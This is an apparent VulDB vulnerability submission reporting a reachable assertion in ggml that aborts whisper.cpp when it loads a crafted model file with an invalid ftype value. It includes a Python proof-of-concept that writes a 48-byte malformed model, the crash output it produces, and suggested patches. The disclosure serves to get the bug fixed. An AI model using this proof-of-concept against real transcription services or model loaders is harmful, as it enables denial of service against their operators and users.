Invia #799055: ggml-org whisper.cpp commit 95ea8f9b Reachable Assertioninformazioni

Titologgml-org whisper.cpp commit 95ea8f9b Reachable Assertion
Descrizione## Title Reachable assertion in ggml ftype conversion aborts whisper.cpp on crafted model ## Summary A crafted whisper model file with an invalid `ftype` (file type) field causes `ggml_ftype_to_ggml_type()` in `ggml/src/ggml.c:1410` to trigger `GGML_ASSERT()`, which unconditionally aborts the process via `ggml_abort()`. The whisper.cpp model loader at `src/whisper.cpp:1555` passes the attacker-controlled `ftype` value directly to this ggml function. Although whisper.cpp has a post-call validation check (`if (wctx.wtype == GGML_TYPE_COUNT) { return false; }`), the assertion inside `ggml_ftype_to_ggml_type()` fires **before** the function can return the error sentinel — so the error-handling code is dead. No sanitizers or debug builds are required — `GGML_ASSERT` calls `ggml_abort()` which is never compiled away. This crashes optimized release builds. ## Details **Vulnerable code path:** 1. **whisper.cpp model loading** (`src/whisper.cpp:1549–1559`): ```cpp hparams.ftype %= GGML_QNT_VERSION_FACTOR; // ftype %= 1000 // for the big tensors, we have the option to store the data in // 16-bit floats or quantized in order to save memory wctx.wtype = ggml_ftype_to_ggml_type((ggml_ftype)(model.hparams.ftype)); if (wctx.wtype == GGML_TYPE_COUNT) { // ← DEAD CODE — never reached WHISPER_LOG_ERROR("%s: invalid model (bad ftype value %d)\n", __func__, model.hparams.ftype); return false; } ``` 2. **ggml conversion function** (`ggml/src/ggml.c:1374–1412`): ```cpp enum ggml_type ggml_ftype_to_ggml_type(enum ggml_ftype ftype) { enum ggml_type wtype = GGML_TYPE_COUNT; switch (ftype) { case GGML_FTYPE_ALL_F32: wtype = GGML_TYPE_F32; break; case GGML_FTYPE_MOSTLY_F16: wtype = GGML_TYPE_F16; break; // ... valid types ... case GGML_FTYPE_UNKNOWN: wtype = GGML_TYPE_COUNT; break; case GGML_FTYPE_MOSTLY_Q4_1_SOME_F16: wtype = GGML_TYPE_COUNT; break; } GGML_ASSERT(wtype != GGML_TYPE_COUNT); // ← Line 1410: ABORTS HERE return wtype; // never reached for invalid ftype } ``` The design contradiction: - The function sets `wtype = GGML_TYPE_COUNT` as an error sentinel for unrecognized ftype values (and for deprecated types UNKNOWN and Q4_1_SOME_F16) - It then immediately asserts that `wtype != GGML_TYPE_COUNT` - This means the function can **never** return an error — it always aborts Valid `ggml_ftype` enum values are: 0–4, 7–26. Values 5, 6, and ≥27 (after `ftype %= 1000`) have no switch case, leaving `wtype` at its initial `GGML_TYPE_COUNT` value, which triggers the assertion. **Note:** `GGML_ASSERT()` is defined as: ```cpp #define GGML_ASSERT(x) if (!(x)) GGML_ABORT("GGML_ASSERT(%s) failed", #x) #define GGML_ABORT(...) ggml_abort(__FILE__, __LINE__, __VA_ARGS__) ``` Unlike the C standard `assert()` macro, `GGML_ASSERT` is **not** affected by `-DNDEBUG` and fires unconditionally in all build configurations. **Affected component:** `ggml/src/ggml.c` (ggml shared library, bundled with whisper.cpp), triggered via `src/whisper.cpp` model loading. ## Proof of Concept Generation script: ```python import struct buf = bytearray() buf += struct.pack('<I', 0x67676d6c) # magic (GGML_FILE_MAGIC) buf += struct.pack('<i', 51864) # n_vocab buf += struct.pack('<i', 1500) # n_audio_ctx buf += struct.pack('<i', 384) # n_audio_state buf += struct.pack('<i', 6) # n_audio_head buf += struct.pack('<i', 4) # n_audio_layer buf += struct.pack('<i', 448) # n_text_ctx buf += struct.pack('<i', 384) # n_text_state (must == n_audio_state) buf += struct.pack('<i', 6) # n_text_head buf += struct.pack('<i', 4) # n_text_layer buf += struct.pack('<i', 80) # n_mels buf += struct.pack('<i', 5) # ftype = 5 (not in ggml_ftype enum) with open('poc-014-whisper-ftype-abort.bin', 'wb') as f: f.write(buf) ``` Reproduction: ``` $ python3 gen_poc_014.py $ whisper-cli -m poc-014-whisper-ftype-abort.bin ggml/src/ggml.c:1410: GGML_ASSERT(wtype != GGML_TYPE_COUNT) failed Aborted (core dumped) ``` Confirmed on: - whisper.cpp commit 95ea8f9b (master) - Fedora 43, x86_64, clang 21.1.8 - Both ASan+UBSan build and standard release build ## Impact Any application using `whisper_init_from_buffer()` or `whisper_init_from_file()` to load an untrusted whisper model file crashes immediately when the model contains an invalid ftype value. This enables denial of service against: - Transcription services accepting user-uploaded models - Applications with "Load Model" functionality - CI/CD pipelines processing model files The attack requires a 48-byte file. The crash is unconditional on all platforms and build configurations, since `GGML_ASSERT` is not affected by `-DNDEBUG`. ## Suggested Fix **Option A — Fix in ggml (preferred):** Remove the contradictory assertion and let the function return the error sentinel: ```diff - GGML_ASSERT(wtype != GGML_TYPE_COUNT); - return wtype; ``` Callers already check for `GGML_TYPE_COUNT` — this change makes their error-handling code reachable. **Option B — Fix in whisper.cpp:** Validate `ftype` before calling the ggml function: ```diff hparams.ftype %= GGML_QNT_VERSION_FACTOR; + // Validate ftype is in the supported range before calling ggml + if (hparams.ftype < 0 || hparams.ftype > 26 || + hparams.ftype == 5 || hparams.ftype == 6) { + WHISPER_LOG_ERROR("%s: invalid model (unsupported ftype %d)\n", + __func__, hparams.ftype); + return false; + } + wctx.wtype = ggml_ftype_to_ggml_type((ggml_ftype)(model.hparams.ftype)); ``` Option A is preferred because it fixes the bug at the source and benefits all ggml consumers (llama.cpp, whisper.cpp, stable-diffusion.cpp, etc.).
Utente
 m00dy (UID 97162)
Sottomissione07/04/2026 20:32 (4 mesi fa)
Moderazione27/07/2026 09:09 (4 months later)
StatoAccettato
Voce VulDB383383 [ggml-org whisper.cpp 95ea8f9b ggml/src/ggml.c ggml_ftype_to_ggml_type ftype negazione del servizio]
Punti17

Do you know our Splunk app?

Download it now for free!